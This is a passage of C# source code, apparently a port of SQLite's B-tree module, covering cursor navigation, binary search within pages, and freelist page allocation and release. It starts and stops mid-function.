sqlite3Get4byte(pPage.aData, findCell(pPage, pCur.aiIdx[pCur.iPage])); rc = moveToChild(pCur, pgno); } return rc; } /* ** Move the cursor down to the right-most leaf entry beneath the ** page to which it is currently pointing. Notice the difference ** between moveToLeftmost() and moveToRightmost(). moveToLeftmost() ** finds the left-most entry beneath the *entry* whereas moveToRightmost() ** finds the right-most entry beneath the page*. ** ** The right-most entry is the one with the largest key - the last ** key in ascending order. */ static int moveToRightmost(BtCursor pCur) { Pgno pgno; int rc = SQLITE_OK; MemPage pPage = null; Debug.Assert(cursorHoldsMutex(pCur)); Debug.Assert(pCur.eState == CURSOR_VALID); while (rc == SQLITE_OK && 0 == (pPage = pCur.apPage[pCur.iPage]).leaf) { pgno = sqlite3Get4byte(pPage.aData, pPage.hdrOffset + 8); pCur.aiIdx[pCur.iPage] = pPage.nCell; rc = moveToChild(pCur, pgno); } if (rc == SQLITE_OK) { pCur.aiIdx[pCur.iPage] = (u16)(pPage.nCell - 1); pCur.info.nSize = 0; pCur.validNKey = false; } return rc; } /* Move the cursor to the first entry in the table. Return SQLITE_OK ** on success. Set pRes to 0 if the cursor actually points to something ** or set pRes to 1 if the table is empty. */ static int sqlite3BtreeFirst(BtCursor pCur, ref int pRes) { int rc; Debug.Assert(cursorHoldsMutex(pCur)); Debug.Assert(sqlite3_mutex_held(pCur.pBtree.db.mutex)); rc = moveToRoot(pCur); if (rc == SQLITE_OK) { if (pCur.eState == CURSOR_INVALID) { Debug.Assert(pCur.apPage[pCur.iPage].nCell == 0); pRes = 1; rc = SQLITE_OK; } else { Debug.Assert(pCur.apPage[pCur.iPage].nCell > 0); pRes = 0; rc = moveToLeftmost(pCur); } } return rc; } /* Move the cursor to the last entry in the table. Return SQLITE_OK ** on success. Set pRes to 0 if the cursor actually points to something ** or set pRes to 1 if the table is empty. */ static int sqlite3BtreeLast(BtCursor pCur, ref int pRes) { int rc; Debug.Assert(cursorHoldsMutex(pCur)); Debug.Assert(sqlite3_mutex_held(pCur.pBtree.db.mutex)); /* If the cursor already points to the last entry, this is a no-op. */ if (CURSOR_VALID == pCur.eState && pCur.atLast != 0) { #if SQLITE_DEBUG /* This block serves to Debug.Assert() that the cursor really does point ** to the last entry in the b-tree. */ int ii; for (ii = 0; ii < pCur.iPage; ii++) { Debug.Assert(pCur.aiIdx[ii] == pCur.apPage[ii].nCell); } Debug.Assert(pCur.aiIdx[pCur.iPage] == pCur.apPage[pCur.iPage].nCell - 1); Debug.Assert(pCur.apPage[pCur.iPage].leaf != 0); #endif return SQLITE_OK; } rc = moveToRoot(pCur); if (rc == SQLITE_OK) { if (CURSOR_INVALID == pCur.eState) { Debug.Assert(pCur.apPage[pCur.iPage].nCell == 0); pRes = 1; } else { Debug.Assert(pCur.eState == CURSOR_VALID); pRes = 0; rc = moveToRightmost(pCur); pCur.atLast = (u8)(rc == SQLITE_OK ? 1 : 0); } } return rc; } /* Move the cursor so that it points to an entry near the key ** specified by pIdxKey or intKey. Return a success code. ** ** For INTKEY tables, the intKey parameter is used. pIdxKey ** must be NULL. For index tables, pIdxKey is used and intKey ** is ignored. ** ** If an exact match is not found, then the cursor is always ** left pointing at a leaf page which would hold the entry if it ** were present. The cursor might point to an entry that comes ** before or after the key. ** ** An integer is written into pRes which is the result of ** comparing the key with the entry to which the cursor is ** pointing. The meaning of the integer written into ** pRes is as follows: ** ** pRes<0 The cursor is left pointing at an entry that ** is smaller than intKey/pIdxKey or if the table is empty ** and the cursor is therefore left point to nothing. ** ** pRes==null The cursor is left pointing at an entry that ** exactly matches intKey/pIdxKey. ** ** pRes>0 The cursor is left pointing at an entry that ** is larger than intKey/pIdxKey. ** */ static int sqlite3BtreeMovetoUnpacked( BtCursor pCur, /* The cursor to be moved */ UnpackedRecord pIdxKey, /* Unpacked index key */ i64 intKey, /* The table key */ int biasRight, /* If true, bias the search to the high end */ ref int pRes /* Write search results here */ ) { int rc; Debug.Assert(cursorHoldsMutex(pCur)); Debug.Assert(sqlite3_mutex_held(pCur.pBtree.db.mutex)); // Not needed in C# // Debug.Assert( pRes != 0 ); Debug.Assert((pIdxKey == null) == (pCur.pKeyInfo == null)); /* If the cursor is already positioned at the point we are trying ** to move to, then just return without doing any work */ if (pCur.eState == CURSOR_VALID && pCur.validNKey && pCur.apPage[0].intKey != 0 ) { if (pCur.info.nKey == intKey) { pRes = 0; return SQLITE_OK; } if (pCur.atLast != 0 && pCur.info.nKey < intKey) { pRes = -1; return SQLITE_OK; } } rc = moveToRoot(pCur); if (rc != 0) { return rc; } Debug.Assert(pCur.apPage[pCur.iPage] != null); Debug.Assert(pCur.apPage[pCur.iPage].isInit != 0); Debug.Assert(pCur.apPage[pCur.iPage].nCell > 0 || pCur.eState == CURSOR_INVALID); if (pCur.eState == CURSOR_INVALID) { pRes = -1; Debug.Assert(pCur.apPage[pCur.iPage].nCell == 0); return SQLITE_OK; } Debug.Assert(pCur.apPage[0].intKey != 0 || pIdxKey != null); for (; ; ) { int lwr, upr; Pgno chldPg; MemPage pPage = pCur.apPage[pCur.iPage]; int c; /* pPage.nCell must be greater than zero. If this is the root-page ** the cursor would have been INVALID above and this for(;;) loop ** not run. If this is not the root-page, then the moveToChild() routine ** would have already detected db corruption. Similarly, pPage must ** be the right kind (index or table) of b-tree page. Otherwise ** a moveToChild() or moveToRoot() call would have detected corruption. */ Debug.Assert(pPage.nCell > 0); Debug.Assert(pPage.intKey == ((pIdxKey == null) ? 1 : 0)); lwr = 0; upr = pPage.nCell - 1; if (biasRight != 0) { pCur.aiIdx[pCur.iPage] = (u16)upr; } else { pCur.aiIdx[pCur.iPage] = (u16)((upr + lwr) / 2); } for (; ; ) { int idx = pCur.aiIdx[pCur.iPage]; /* Index of current cell in pPage */ int pCell; /* Pointer to current cell in pPage */ pCur.info.nSize = 0; pCell = findCell(pPage, idx) + pPage.childPtrSize; if (pPage.intKey != 0) { i64 nCellKey = 0; if (pPage.hasData != 0) { u32 Dummy0 = 0; pCell += getVarint32(pPage.aData, pCell, ref Dummy0); } getVarint(pPage.aData, pCell, ref nCellKey); if (nCellKey == intKey) { c = 0; } else if (nCellKey < intKey) { c = -1; } else { Debug.Assert(nCellKey > intKey); c = +1; } pCur.validNKey = true; pCur.info.nKey = nCellKey; } else { /* The maximum supported page-size is 32768 bytes. This means that ** the maximum number of record bytes stored on an index B-Tree ** page is at most 8198 bytes, which may be stored as a 2-byte ** varint. This information is used to attempt to avoid parsing ** the entire cell by checking for the cases where the record is ** stored entirely within the b-tree page by inspecting the first ** 2 bytes of the cell. */ int nCell = pPage.aData[pCell + 0]; //pCell[0]; if (0 == (nCell & 0x80) && nCell <= pPage.maxLocal) { /* This branch runs if the record-size field of the cell is a ** single byte varint and the record fits entirely on the main ** b-tree page. */ c = sqlite3VdbeRecordCompare(nCell, pPage.aData, pCell + 1, pIdxKey); //c = sqlite3VdbeRecordCompare( nCell, (void*)&pCell[1], pIdxKey ); } else if (0 == (pPage.aData[pCell + 1] & 0x80)//!(pCell[1] & 0x80) && (nCell = ((nCell & 0x7f) << 7) + pPage.aData[pCell + 1]) <= pPage.maxLocal//pCell[1])<=pPage.maxLocal ) { /* The record-size field is a 2 byte varint and the record ** fits entirely on the main b-tree page. */ c = sqlite3VdbeRecordCompare(nCell, pPage.aData, pCell + 2, pIdxKey); //c = sqlite3VdbeRecordCompare( nCell, (void*)&pCell[2], pIdxKey ); } else { /* The record flows over onto one or more overflow pages. In ** this case the whole cell needs to be parsed, a buffer allocated ** and accessPayload() used to retrieve the record into the ** buffer before VdbeRecordCompare() can be called. */ u8[] pCellKey; u8[] pCellBody = new u8[pPage.aData.Length - pCell + pPage.childPtrSize]; Buffer.BlockCopy(pPage.aData, pCell - pPage.childPtrSize, pCellBody, 0, pCellBody.Length);// u8 * const pCellBody = pCell - pPage->childPtrSize; btreeParseCellPtr( pPage, pCellBody, ref pCur.info ); nCell = (int)pCur.info.nKey; pCellKey = new byte[nCell]; //sqlite3Malloc( nCell ); //if ( pCellKey == null ) //{ // rc = SQLITE_NOMEM; // goto moveto_finish; //} rc = accessPayload(pCur, 0, (u32)nCell, pCellKey, 0); c = sqlite3VdbeRecordCompare(nCell, pCellKey, pIdxKey); pCellKey = null;// sqlite3_free( ref pCellKey ); if (rc != 0) goto moveto_finish; } } if (c == 0) { if (pPage.intKey != 0 && 0 == pPage.leaf) { lwr = idx; upr = lwr - 1; break; } else { pRes = 0; rc = SQLITE_OK; goto moveto_finish; } } if (c < 0) { lwr = idx + 1; } else { upr = idx - 1; } if (lwr > upr) { break; } pCur.aiIdx[pCur.iPage] = (u16)((lwr + upr) / 2); } Debug.Assert(lwr == upr + 1); Debug.Assert(pPage.isInit != 0); if (pPage.leaf != 0) { chldPg = 0; } else if (lwr >= pPage.nCell) { chldPg = sqlite3Get4byte(pPage.aData, pPage.hdrOffset + 8); } else { chldPg = sqlite3Get4byte(pPage.aData, findCell(pPage, lwr)); } if (chldPg == 0) { Debug.Assert(pCur.aiIdx[pCur.iPage] < pCur.apPage[pCur.iPage].nCell); pRes = c; rc = SQLITE_OK; goto moveto_finish; } pCur.aiIdx[pCur.iPage] = (u16)lwr; pCur.info.nSize = 0; pCur.validNKey = false; rc = moveToChild(pCur, chldPg); if (rc != 0) goto moveto_finish; } moveto_finish: return rc; } /* ** Return TRUE if the cursor is not pointing at an entry of the table. ** ** TRUE will be returned after a call to sqlite3BtreeNext() moves ** past the last entry in the table or sqlite3BtreePrev() moves past ** the first entry. TRUE is also returned if the table is empty. */ static bool sqlite3BtreeEof(BtCursor pCur) { /* TODO: What if the cursor is in CURSOR_REQUIRESEEK but all table entries ** have been deleted? This API will need to change to return an error code ** as well as the boolean result value. */ return (CURSOR_VALID != pCur.eState); } /* ** Advance the cursor to the next entry in the database. If ** successful then set pRes=0. If the cursor ** was already pointing to the last entry in the database before ** this routine was called, then set pRes=1. */ static int sqlite3BtreeNext(BtCursor pCur, ref int pRes) { int rc; int idx; MemPage pPage; Debug.Assert(cursorHoldsMutex(pCur)); rc = restoreCursorPosition(pCur); if (rc != SQLITE_OK) { return rc; } // Not needed in C# // Debug.Assert( pRes != 0 ); if (CURSOR_INVALID == pCur.eState) { pRes = 1; return SQLITE_OK; } if (pCur.skipNext > 0) { pCur.skipNext = 0; pRes = 0; return SQLITE_OK; } pCur.skipNext = 0; pPage = pCur.apPage[pCur.iPage]; idx = ++pCur.aiIdx[pCur.iPage]; Debug.Assert(pPage.isInit != 0); Debug.Assert(idx <= pPage.nCell); pCur.info.nSize = 0; pCur.validNKey = false; if (idx >= pPage.nCell) { if (0 == pPage.leaf) { rc = moveToChild(pCur, sqlite3Get4byte(pPage.aData, pPage.hdrOffset + 8)); if (rc != 0) return rc; rc = moveToLeftmost(pCur); pRes = 0; return rc; } do { if (pCur.iPage == 0) { pRes = 1; pCur.eState = CURSOR_INVALID; return SQLITE_OK; } moveToParent(pCur); pPage = pCur.apPage[pCur.iPage]; } while (pCur.aiIdx[pCur.iPage] >= pPage.nCell); pRes = 0; if (pPage.intKey != 0) { rc = sqlite3BtreeNext(pCur, ref pRes); } else { rc = SQLITE_OK; } return rc; } pRes = 0; if (pPage.leaf != 0) { return SQLITE_OK; } rc = moveToLeftmost(pCur); return rc; } /* ** Step the cursor to the back to the previous entry in the database. If ** successful then set pRes=0. If the cursor ** was already pointing to the first entry in the database before ** this routine was called, then set pRes=1. */ static int sqlite3BtreePrevious(BtCursor pCur, ref int pRes) { int rc; MemPage pPage; Debug.Assert(cursorHoldsMutex(pCur)); rc = restoreCursorPosition(pCur); if (rc != SQLITE_OK) { return rc; } pCur.atLast = 0; if (CURSOR_INVALID == pCur.eState) { pRes = 1; return SQLITE_OK; } if (pCur.skipNext < 0) { pCur.skipNext = 0; pRes = 0; return SQLITE_OK; } pCur.skipNext = 0; pPage = pCur.apPage[pCur.iPage]; Debug.Assert(pPage.isInit != 0); if (0 == pPage.leaf) { int idx = pCur.aiIdx[pCur.iPage]; rc = moveToChild(pCur, sqlite3Get4byte(pPage.aData, findCell(pPage, idx))); if (rc != 0) { return rc; } rc = moveToRightmost(pCur); } else { while (pCur.aiIdx[pCur.iPage] == 0) { if (pCur.iPage == 0) { pCur.eState = CURSOR_INVALID; pRes = 1; return SQLITE_OK; } moveToParent(pCur); } pCur.info.nSize = 0; pCur.validNKey = false; pCur.aiIdx[pCur.iPage]--; pPage = pCur.apPage[pCur.iPage]; if (pPage.intKey != 0 && 0 == pPage.leaf) { rc = sqlite3BtreePrevious(pCur, ref pRes); } else { rc = SQLITE_OK; } } pRes = 0; return rc; } /* ** Allocate a new page from the database file. ** ** The new page is marked as dirty. (In other words, sqlite3PagerWrite() ** has already been called on the new page.) The new page has also ** been referenced and the calling routine is responsible for calling ** sqlite3PagerUnref() on the new page when it is done. ** ** SQLITE_OK is returned on success. Any other return value indicates ** an error. ppPage and pPgno are undefined in the event of an error. ** Do not invoke sqlite3PagerUnref() on ppPage if an error is returned. ** ** If the "nearby" parameter is not 0, then a (feeble) effort is made to ** locate a page close to the page number "nearby". This can be used in an ** attempt to keep related pages close to each other in the database file, ** which in turn can make database access faster. ** ** If the "exact" parameter is not 0, and the page-number nearby exists ** anywhere on the free-list, then it is guarenteed to be returned. This ** is only used by auto-vacuum databases when allocating a new table. */ static int allocateBtreePage( BtShared pBt, ref MemPage ppPage, ref Pgno pPgno, Pgno nearby, u8 exact ) { MemPage pPage1; int rc; u32 n; /* Number of pages on the freelist */ u32 k; /* Number of leaves on the trunk of the freelist */ MemPage pTrunk = null; MemPage pPrevTrunk = null; Pgno mxPage; /* Total size of the database file */ Debug.Assert(sqlite3_mutex_held(pBt.mutex)); pPage1 = pBt.pPage1; mxPage = pagerPagecount(pBt); n = sqlite3Get4byte(pPage1.aData, 36); testcase(n == mxPage - 1); if (n >= mxPage) { #if SQLITE_DEBUG || DEBUG return SQLITE_CORRUPT_BKPT(); #else return SQLITE_CORRUPT_BKPT; #endif } if (n > 0) { /* There are pages on the freelist. Reuse one of those pages. */ Pgno iTrunk; u8 searchList = 0; /* If the free-list must be searched for 'nearby' */ /* If the 'exact' parameter was true and a query of the pointer-map ** shows that the page 'nearby' is somewhere on the free-list, then ** the entire-list will be searched for that page. */ #if !SQLITE_OMIT_AUTOVACUUM if (exact != 0 && nearby <= mxPage) { u8 eType = 0; Debug.Assert(nearby > 0); Debug.Assert(pBt.autoVacuum); u32 Dummy0 = 0; rc = ptrmapGet(pBt, nearby, ref eType, ref Dummy0); if (rc != 0) return rc; if (eType == PTRMAP_FREEPAGE) { searchList = 1; } pPgno = nearby; } #endif /* Decrement the free-list count by 1. Set iTrunk to the index of the ** first free-list trunk page. iPrevTrunk is initially 1. */ rc = sqlite3PagerWrite(pPage1.pDbPage); if (rc != 0) return rc; sqlite3Put4byte(pPage1.aData, (u32)36, n - 1); /* The code within this loop is run only once if the 'searchList' variable ** is not true. Otherwise, it runs once for each trunk-page on the ** free-list until the page 'nearby' is located. */ do { pPrevTrunk = pTrunk; if (pPrevTrunk != null) { iTrunk = sqlite3Get4byte(pPrevTrunk.aData, 0); } else { iTrunk = sqlite3Get4byte(pPage1.aData, 32); } testcase(iTrunk == mxPage); if (iTrunk > mxPage) { #if SQLITE_DEBUG || DEBUG rc = SQLITE_CORRUPT_BKPT(); #else rc = SQLITE_CORRUPT_BKPT; #endif } else { rc = btreeGetPage(pBt, iTrunk, ref pTrunk, 0); } if (rc != 0) { pTrunk = null; goto end_allocate_page; } k = sqlite3Get4byte(pTrunk.aData, 4); if (k == 0 && 0 == searchList) { /* The trunk has no leaves and the list is not being searched. ** So extract the trunk page itself and use it as the newly ** allocated page */ Debug.Assert(pPrevTrunk == null); rc = sqlite3PagerWrite(pTrunk.pDbPage); if (rc != 0) { goto end_allocate_page; } pPgno = iTrunk; Buffer.BlockCopy(pTrunk.aData, 0, pPage1.aData, 32, 4);//memcpy( pPage1.aData[32], ref pTrunk.aData[0], 4 ); ppPage = pTrunk; pTrunk = null; TRACE("ALLOCATE: %d trunk - %d free pages left\n", pPgno, n - 1); } else if (k > (u32)(pBt.usableSize / 4 - 2)) { /* Value of k is out of range. Database corruption */ #if SQLITE_DEBUG || DEBUG rc = SQLITE_CORRUPT_BKPT(); #else rc = SQLITE_CORRUPT_BKPT; #endif goto end_allocate_page; #if !SQLITE_OMIT_AUTOVACUUM } else if (searchList != 0 && nearby == iTrunk) { /* The list is being searched and this trunk page is the page ** to allocate, regardless of whether it has leaves. */ Debug.Assert(pPgno == iTrunk); ppPage = pTrunk; searchList = 0; rc = sqlite3PagerWrite(pTrunk.pDbPage); if (rc != 0) { goto end_allocate_page; } if (k == 0) { if (null == pPrevTrunk) { //memcpy(pPage1.aData[32], pTrunk.aData[0], 4); pPage1.aData[32 + 0] = pTrunk.aData[0 + 0]; pPage1.aData[32 + 1] = pTrunk.aData[0 + 1]; pPage1.aData[32 + 2] = pTrunk.aData[0 + 2]; pPage1.aData[32 + 3] = pTrunk.aData[0 + 3]; } else { //memcpy(pPrevTrunk.aData[0], pTrunk.aData[0], 4); pPrevTrunk.aData[0 + 0] = pTrunk.aData[0 + 0]; pPrevTrunk.aData[0 + 1] = pTrunk.aData[0 + 1]; pPrevTrunk.aData[0 + 2] = pTrunk.aData[0 + 2]; pPrevTrunk.aData[0 + 3] = pTrunk.aData[0 + 3]; } } else { /* The trunk page is required by the caller but it contains ** pointers to free-list leaves. The first leaf becomes a trunk ** page in this case. */ MemPage pNewTrunk = new MemPage(); Pgno iNewTrunk = sqlite3Get4byte(pTrunk.aData, 8); if (iNewTrunk > mxPage) { #if SQLITE_DEBUG || DEBUG rc = SQLITE_CORRUPT_BKPT(); #else rc = SQLITE_CORRUPT_BKPT; #endif goto end_allocate_page; } testcase(iNewTrunk == mxPage); rc = btreeGetPage(pBt, iNewTrunk, ref pNewTrunk, 0); if (rc != SQLITE_OK) { goto end_allocate_page; } rc = sqlite3PagerWrite(pNewTrunk.pDbPage); if (rc != SQLITE_OK) { releasePage(pNewTrunk); goto end_allocate_page; } //memcpy(pNewTrunk.aData[0], pTrunk.aData[0], 4); pNewTrunk.aData[0 + 0] = pTrunk.aData[0 + 0]; pNewTrunk.aData[0 + 1] = pTrunk.aData[0 + 1]; pNewTrunk.aData[0 + 2] = pTrunk.aData[0 + 2]; pNewTrunk.aData[0 + 3] = pTrunk.aData[0 + 3]; sqlite3Put4byte(pNewTrunk.aData, (u32)4, (u32)(k - 1)); Buffer.BlockCopy(pTrunk.aData, 12, pNewTrunk.aData, 8, (int)(k - 1) * 4);//memcpy( pNewTrunk.aData[8], ref pTrunk.aData[12], ( k - 1 ) * 4 ); releasePage(pNewTrunk); if (null == pPrevTrunk) { Debug.Assert(sqlite3PagerIswriteable(pPage1.pDbPage)); sqlite3Put4byte(pPage1.aData, (u32)32, iNewTrunk); } else { rc = sqlite3PagerWrite(pPrevTrunk.pDbPage); if (rc != 0) { goto end_allocate_page; } sqlite3Put4byte(pPrevTrunk.aData, (u32)0, iNewTrunk); } } pTrunk = null; TRACE("ALLOCATE: %d trunk - %d free pages left\n", pPgno, n - 1); #endif } else if (k > 0) { /* Extract a leaf from the trunk */ u32 closest; Pgno iPage; byte[] aData = pTrunk.aData; rc = sqlite3PagerWrite(pTrunk.pDbPage); if (rc != 0) { goto end_allocate_page; } if (nearby > 0) { u32 i; int dist; closest = 0; dist = (int)(sqlite3Get4byte(aData, 8) - nearby); if (dist < 0) dist = -dist; for (i = 1; i < k; i++) { int d2 = (int)(sqlite3Get4byte(aData, 8 + i * 4) - nearby); if (d2 < 0) d2 = -d2; if (d2 < dist) { closest = i; dist = d2; } } } else { closest = 0; } iPage = sqlite3Get4byte(aData, 8 + closest * 4); testcase(iPage == mxPage); if (iPage > mxPage) { #if SQLITE_DEBUG || DEBUG rc = SQLITE_CORRUPT_BKPT(); #else rc = SQLITE_CORRUPT_BKPT; #endif goto end_allocate_page; } testcase(iPage == mxPage); if (0 == searchList || iPage == nearby) { int noContent; pPgno = iPage; TRACE("ALLOCATE: %d was leaf %d of %d on trunk %d" + ": %d more free pages\n", pPgno, closest + 1, k, pTrunk.pgno, n - 1); if (closest < k - 1) { Buffer.BlockCopy(aData, (int)(4 + k * 4), aData, 8 + (int)closest * 4, 4);//memcpy( aData[8 + closest * 4], ref aData[4 + k * 4], 4 ); } sqlite3Put4byte(aData, (u32)4, (k - 1));// sqlite3Put4byte( aData, 4, k - 1 ); Debug.Assert(sqlite3PagerIswriteable(pTrunk.pDbPage)); noContent = !btreeGetHasContent(pBt, pPgno) ? 1 : 0; rc = btreeGetPage(pBt, pPgno, ref ppPage, noContent); if (rc == SQLITE_OK) { rc = sqlite3PagerWrite((ppPage).pDbPage); if (rc != SQLITE_OK) { releasePage(ppPage); } } searchList = 0; } } releasePage(pPrevTrunk); pPrevTrunk = null; } while (searchList != 0); } else { /* There are no pages on the freelist, so create a new page at the ** end of the file */ int nPage = (int)pagerPagecount(pBt); pPgno = (u32)nPage + 1; if (pPgno == PENDING_BYTE_PAGE(pBt)) { (pPgno)++; } #if !SQLITE_OMIT_AUTOVACUUM if (pBt.autoVacuum && PTRMAP_ISPAGE(pBt, pPgno)) { /* If pPgno refers to a pointer-map page, allocate two new pages ** at the end of the file instead of one. The first allocated page ** becomes a new pointer-map page, the second is used by the caller. */ MemPage pPg = null; TRACE("ALLOCATE: %d from end of file (pointer-map page)\n", pPgno); Debug.Assert(pPgno != PENDING_BYTE_PAGE(pBt)); rc = btreeGetPage(pBt, pPgno, ref pPg, 0); if (rc == SQLITE_OK) { rc = sqlite3PagerWrite(pPg.pDbPage); releasePage(pPg); } if (rc != 0) return rc; (pPgno)++; if (pPgno == PENDING_BYTE_PAGE(pBt)) { (pPgno)++; } } #endif Debug.Assert(pPgno != PENDING_BYTE_PAGE(pBt)); rc = btreeGetPage(pBt, pPgno, ref ppPage, 0); if (rc != 0) return rc; rc = sqlite3PagerWrite((ppPage).pDbPage); if (rc != SQLITE_OK) { releasePage(ppPage); } TRACE("ALLOCATE: %d from end of file\n", pPgno); } Debug.Assert(pPgno != PENDING_BYTE_PAGE(pBt)); end_allocate_page: releasePage(pTrunk); releasePage(pPrevTrunk); if (rc == SQLITE_OK) { if (sqlite3PagerPageRefcount((ppPage).pDbPage) > 1) { releasePage(ppPage); #if SQLITE_DEBUG || DEBUG return SQLITE_CORRUPT_BKPT(); #else return SQLITE_CORRUPT_BKPT; #endif } (ppPage).isInit = 0; } else { ppPage = null; } return rc; } /* ** This function is used to add page iPage to the database file free-list. ** It is assumed that the page is not already a part of the free-list. ** ** The value passed as the second argument to this function is optional. ** If the caller happens to have a pointer to the MemPage object ** corresponding to page iPage handy, it may pass it as the second value. ** Otherwise, it may pass NULL. ** ** If a pointer to a MemPage object is passed as the second argument, ** its reference count is not altered by this function. */ static int freePage2(BtShared pBt, MemPage pMemPage, Pgno iPage) { MemPage pTrunk = null; /* Free-list trunk page */ Pgno iTrunk = 0; /* Page number of free-list trunk page */ MemPage pPage1 = pBt.pPage1; /* Local reference to page 1 */ MemPage pPage; /* Page being freed. May be NULL. */ int rc; /* Return Code */ int nFree; /* Initial number of pages on free-list */ Debug.Assert(sqlite3_mutex_held(pBt.mutex)); Debug.Assert(iPage > 1); Debug.Assert(null == pMemPage || pMemPage.pgno == iPage); if (pMemPage != null) { pPage = pMemPage; sqlite3PagerRef(pPage.pDbPage); } else { pPage = btreePageLookup(pBt, iPage); } /* Increment the free page count on pPage1 */ rc = sqlite3PagerWrite(pPage1.pDbPage); if (rc != 0) goto freepage_out; nFree = (int)sqlite3Get4byte(pPage1.aData, 36); sqlite3Put4byte(pPage1.aData, 36, nFree + 1); #if SQLITE_SECURE_DELETE /* If the SQLITE_SECURE_DELETE compile-time option is enabled, then ** always fully overwrite deleted information with zeros. */ if( (!pPage && (rc = btreeGetPage(pBt, iPage, ref pPage, 0))) || (rc = sqlite3PagerWrite(pPage.pDbPage)) ){ goto freepage_out; } memset(pPage.aData, 0, pPage.pBt.pageSize); #endif /* If the database supports auto-vacuum, write an entry in the pointer-map ** to indicate that the page is free. */ #if !SQLITE_OMIT_AUTOVACUUM // if ( ISAUTOVACUUM ) if (pBt.autoVacuum) #else if (false) #endif { ptrmapPut(pBt, iPage, PTRMAP_FREEPAGE, 0, ref rc); if (rc != 0) goto freepage_out; } /* Now manipulate the actual database free-list structure. There are two ** possibilities. If the free-list is currently empty, or if the first ** trunk page in the free-list is full, then this page will become a ** new free-list trunk page. Otherwise, it will become a leaf of the ** first trunk page in the current free-list. This block tests if it ** is possible to add the page as a new free-list leaf. */ if (nFree != 0) { u32 nLeaf; /* Initial number of leaf cells on trunk page */ iTrunk = sqlite3Get4byte(pPage1.aData, 32); rc = btreeGetPage(pBt, iTrunk, ref pTrunk, 0); if (rc != SQLITE_OK) { goto freepage_out; } nLeaf = sqlite3Get4byte(pTrunk.aData, 4); Debug.Assert(pBt.usableSize > 32); if (nLeaf > (u32)pBt.usableSize / 4 - 2) { #if SQLITE_DEBUG || DEBUG rc = SQLITE_CORRUPT_BKPT(); #else rc = SQLITE_CORRUPT_BKPT; #endif goto freepage_out; } if (nLeaf < (u32)pBt.usableSize / 4 - 8) { /* In this case there is room on the trunk page to insert the page ** being freed as a new leaf. ** ** Note that the trunk page is not really full until it contains ** usableSize/4 - 2 entries, not usableSize/4 - 8 entries as we have ** coded. But due to a coding error in versions of SQLite prior to ** 3.6.0, databases with freelist trunk pages holding more than ** usableSize/4 - 8 entries will be reported as corrupt. In order ** to maintain backwards compatibility with older versions of SQLite, ** we will continue to restrict the number of entries to usableSize/4 - 8 ** for now. At some point in the future (once everyone has upgraded ** to 3.6.0 or later) we should consider fixing the conditional above ** to read "usableSize/4-2" instead of "usableSize/4-8". */ rc = sqlite3PagerWrite(pTrunk.pDbPage); if (rc == SQLITE_OK) { sqlite3Put4byte(pTrunk.aData, (u32)4, nLeaf + 1); sqlite3Put4byte(pTrunk.aData, (u32)8 + nLeaf * 4, iPage); #if !SQLITE_SECURE_DELETE if (pPage != null) { sqlite3PagerDontWrite(pPage.pDbPage); } #endif rc = btreeSetHasContent(pBt, iPage); } TRACE("FREE-PAGE: %d leaf on trunk page %d\n", iPage, pTrunk.pgno); goto freepage_out; } } /* If control flows to this point, then it was not possible to add the ** the page being freed as a leaf page of the first trunk in the free-list. ** Possibly because the free-list is empty, or possibly because the ** first trunk in the free-list is full. Either way, the page being freed ** will become the new first trunk page in the free-list. */ if (pPage == null && SQLITE_OK != (rc = btreeGetPage(pBt, iPage, ref pPage, 0))) { goto freepage_out; } rc = sqlite3PagerWrite(pPage.pDbPage); if (rc != SQLITE_OK) { goto freepage_out; } sqlite3Put4byte(pPage.aData, iTrunk); sqlite3Put4byte(pPage.aData, 4, 0); sqlite3Put4byte(pPage1.aData, (u32)32, iPage); TRACE("FREE-PAGE: %d new trunk page replacing %d\n", pPage.pgno, iTrunk); freepage_out: if (pPage != null) { pPage.isInit = 0; } releasePage(pPage); releasePage(pTrunk); return rc; } static void freePage(MemPage pPage, ref int pRC) { if ((pRC) == SQLITE_OK) { pRC = freePage2(pPage.pBt, pPage, pPage.pgno); } } /* ** Free any overflow pages associated with the given Cell. */ static int clearCell(MemPage pPage, int pCell) { BtShared pBt = pPage.pBt; CellInfo info = new CellInfo(); Pgno ovflPgno; int rc; int nOvfl; u16 ovflPageSize; Debug.Assert(sqlite3_mutex_held(pPage.pBt.mutex)); btreeParseCellPtr( pPage, pCell, ref info ); if (info.iOverflow == 0) { return SQLITE_OK; /* No overflow pages. Return without doing anything */ } ovflPgno = sqlite3Get4byte(pPage.aData, pCell, info.iOverflow); Debug.Assert(pBt.usableSize > 4); ovflPageSize = (u16)(pBt.usableSize - 4); nOvfl = (int)((info.nPayload - info.nLocal + ovflPageSize - 1) / ovflPageSize); Debug.Assert(ovflPgno == 0 || nOvfl > 0); while (nOvfl-- != 0) { Pgno iNext = 0; MemPage pOvfl = null; if (ovflPgno < 2 || ovflPgno > pagerPagecount(pBt)) { /* 0 is not a legal page number and page 1 cannot be an ** overflow page. Therefore if ovflPgno<2 or past the end of the ** file the database must be corrupt. */ #if SQLITE_DEBUG || DEBUG return SQLITE_CORRUPT_BKPT(); #else return SQLITE_CORRUPT_BKPT; #endif } if (nOvfl != 0) { rc = getOverflowPage(pBt, ovflPgno, ref pOvfl, ref iNext); if (rc != 0) return rc; } rc = freePage2(pBt, pOvfl, ovflPgno); if (pOvfl != null) { sqlite3PagerUnref(pOvfl.pDbPage); } if (rc != 0) return rc; ovflPgno = iNext; } return SQLITE_OK; } /* ** Create the byte sequence used to represent a cell on page pPage ** and write that byte sequence into pCell[]. Overflow pages are ** allocated and filled in as necessary. The calling procedure ** is responsible for making sure sufficient space has been allocated ** for pCell[]. ** ** Note that pCell does not necessary need to point to the pPage.aData ** area. pCell might point to some temporary storage. The cell will ** be constructed in this temporary area then copied into pPage.aData ** later. */ static int fillInCell( MemPage pPage, /* The page that contains the cell */ byte[] pCell, /* Complete text of the cell */ byte[] pKey, i64 nKey, /* The key */ byte[] pData, int nData, /* The data */ int nZero, /* Extra zero bytes to append to pData */ ref int pnSize /* Write cell size here */ ) { int nPayload; u8[] pSrc; int pSrcIndex = 0; int nSrc, n, rc; int spaceLeft; MemPage pOvfl = null; MemPage pToRelease = null; byte[] pPrior; int pPriorIndex = 0; byte[] pPayload; int pPayloadIndex = 0; BtShared pBt = pPage.pBt; Pgno pgnoOvfl = 0; int nHeader; CellInfo info = new CellInfo(); Debug.Assert(sqlite3_mutex_held(pPage.pBt.mutex)); /* pPage is not necessarily writeable since pCell might be auxiliary ** buffer space that is separate from the pPage buffer area */ // TODO -- Determine if the following Assert is needed under c# //Debug.Assert( pCell < pPage.aData || pCell >= 